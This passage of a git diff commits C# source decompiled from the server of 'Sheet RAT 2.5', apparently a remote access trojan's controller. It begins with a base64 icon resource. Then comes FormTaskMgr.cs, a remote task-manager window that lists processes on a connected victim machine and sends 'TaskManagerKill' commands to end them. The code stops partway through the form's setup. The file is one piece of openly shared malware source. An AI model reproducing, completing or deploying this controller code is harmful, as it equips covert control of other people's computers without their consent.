8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8tWnr/KY3J/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAd4BAQHwAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//G5vi/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQHwAQEB/AEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/AEBAfwBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAfwBAQHwAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQHwAQEB3gEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB3gEBAcUBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAcUBAQGnAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8jldf/AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQGnAQEBgwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8dmd//KREN/wKn/v8AqP//AKj//wCo//8AqP//AKj//xqc5P8vg7j/L4O4/y+DuP8vg7j/JpHQ/wCo//8AqP//AKj//wCo//8AqP//AKj//y2Hv/8vg7j/L4O4/y5egP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBgwEBAVsBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8Dp/z/LTVC/xkLCP8Cp/7/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8sicL/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAVsBAQEuAQEB/AEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//KVJv/wIBAf8ZCwj/Aqf+/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//LInC/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAfwBAQEuAQEBAAEBAcUBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/GQsI/wKn/v8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//yyJwv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQHFAQEBAAEBAQABAQGKAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//LYe//w0FBP8BAQH/AQEB/xkLCP8Cp/7/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8sicL/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEBigEBAQABAQEAAQEBSwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8sWnr/AKj//wCo//8AqP//AKj//wCo//8AqP//F53n/xcKCP8BAQH/AQEB/wEBAf8YCgj/B6X5/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//LYe//wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAUsBAQEAAQEBAAEBAQoBAQHBAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/JA8L/zFrkv8xa5L/MWuS/zFrkv8xa5L/MGmQ/yQPC/8BAQH/AQEB/wEBAf8BAQH/CgQD/y9hhf8xa5L/MWuS/zFrkv8xa5L/MWuS/zFrkv8xa5L/MWuS/zFrkv8xa5L/MWeN/zFnjf8xa5L/MWuS/zFrkv8xa5L/MWuS/zFrkv8xa5L/MWuS/yhPa/8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAcEBAQEKAQEBAAEBAQABAQEAAQEBdwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQF3AQEBAAEBAQABAQEAAQEBAAEBASoBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQHYAQEBKgEBAQABAQEAAQEBAAEBAQABAQEAAQEBgwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEBgwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBASwBAQHQAAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA0AEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBcgEBAf8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAXIBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAREBAQGrAQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAasBAQERAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBRAEBAdoBAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8BAQH/AQEB/wEBAdoBAQFEAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB/QEBAf8BAQH/AAAA/wAAAP8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf0BAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAYgBAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQGIAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEUAQEBmQEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQGZAQEBFAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAR8BAQGfAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGfAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBHwEBAZkBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGZAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEUAQEBiAEBAf0BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf0BAQGIAQEBFAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB2gEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAdoBAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAUQBAQGrAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAasBAQFEAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBEQEBAXIBAQHQAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB0AEBAXIBAQERAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAYMBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHYAQEBgwEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBKgEBAXcBAQHBAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAcEBAQF3AQEBKgEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBCgEBAUsBAQGKAQEBxQEBAfwBAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAfwBAQHFAQEBigEBAUsBAQEKAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEuAQEBWwEBAYMBAQGnAQEBxQEBAd4BAQHwAQEB/AAAAPwBAQHwAQEB3gEBAcUBAQGnAQEBgwEBAVsBAQEuAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEA////AAD///////AAAA//////wAAAA/////8AAAAA/////AAAAAA////4AAAAAB////AAAAAAD///wAAAAAAD//+AAAAAAAH//wAAAAAAAP/+AAAAAAAAf/4AAAAAAAB//AAAAAAAAD/4AAAAAAAAH/AAAAAAAAAP8AAAAAAAAA/gAAAAAAAAB+AAAAAAAAAHwAAAAAAAAAPAAAAAAAAAA4AAAAAAAAABgAAAAAAAAAGAAAAAAAAAAYAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAYAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAcAAAAAAAAADwAAAAAAAAAPgAAAAAAAAB+AAAAAAAAAH8AAAAAAAAA/wAAAAAAAAD/gAAAAAAAAf/AAAAAAAAD/+AAAAAAAAf/4AAAAAAAB//wAAAAAAAP//gAAAAAAB///AAAAAAAP///AAAAAAD///+AAAAAAf///8AAAAAD////8AAAAA/////8AAAAP/////8AAAD///////AAD///8L + + \ No newline at end of file diff --git a/Server/Server/Forms/FormTaskMgr.cs b/Server/Server/Forms/FormTaskMgr.cs new file mode 100644 index 0000000..272a10a --- /dev/null +++ b/Server/Server/Forms/FormTaskMgr.cs @@ -0,0 +1,214 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormTaskMgr +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormTaskMgr : MetroForm +{ + public Clients client; + public Clients Plugin; + private IContainer components; + private MetroContextMenu metroContextMenu1; + private ToolStripMenuItem killToolStripMenuItem; + public Timer timer1; + public DataGridView metroGrid1; + + public FormTaskMgr() => this.InitializeComponent(); + + private void FormTaskMgr_Load(object sender, EventArgs e) + { + DataGridViewColumnCollection columns1 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn1.HeaderText = "Name"; + viewTextBoxColumn1.MinimumWidth = 150; + columns1.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns2 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn2.HeaderText = "ID"; + viewTextBoxColumn2.MinimumWidth = 30; + columns2.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns3 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn3.HeaderText = "Path"; + viewTextBoxColumn3.MinimumWidth = 200; + columns3.Add((DataGridViewColumn) viewTextBoxColumn3); + DataGridViewColumnCollection columns4 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn4.HeaderText = "Owner"; + viewTextBoxColumn4.MinimumWidth = 100; + columns4.Add((DataGridViewColumn) viewTextBoxColumn4); + DataGridViewColumnCollection columns5 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn5 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn5.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn5.HeaderText = "Command Line"; + viewTextBoxColumn5.MinimumWidth = 200; + columns5.Add((DataGridViewColumn) viewTextBoxColumn5); + if (Customs.customs.Theme != MetroThemeStyle.Dark || Customs.customs.Style != MetroColorStyle.Lime) + { + this.Theme = Customs.customs.Theme; + this.Style = Customs.customs.Style; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.metroGrid1.BackgroundColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.metroGrid1.GridColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + Program.form.SetThemeContextMenu(Customs.customs.Theme, (ContextMenuStrip) this.metroContextMenu1); + this.Refresh(); + } + this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Customs.customs.StyleToColor(), + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionBackColor = Customs.customs.StyleToColor(), + WrapMode = DataGridViewTriState.False + }; + this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.metroGrid1.RowTemplate.MinimumHeight = 30; + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Plugin == null) + return; + this.Plugin.Disconnected(); + }); + } + + private void killToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + foreach (DataGridViewBand selectedRow in (BaseCollection) this.metroGrid1.SelectedRows) + this.Plugin.Send((object) ("TaskManagerKill<@>" + selectedRow.Tag?.ToString())); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.Plugin.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormTaskMgr)); + this.metroContextMenu1 = new MetroContextMenu(this.components); + this.killToolStripMenuItem = new ToolStripMenuItem(); + this.timer1 = new Timer(this.components); + this.metroGrid1 = new DataGridView(); + this.metroContextMenu1.SuspendLayout(); + ((ISupportInitialize) this.metroGrid1).BeginInit(); + this.SuspendLayout(); + this.metroContextMenu1.Items.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.killToolStripMenuItem + }); + this.metroContextMenu1.Name = "metroContextMenu1"; + 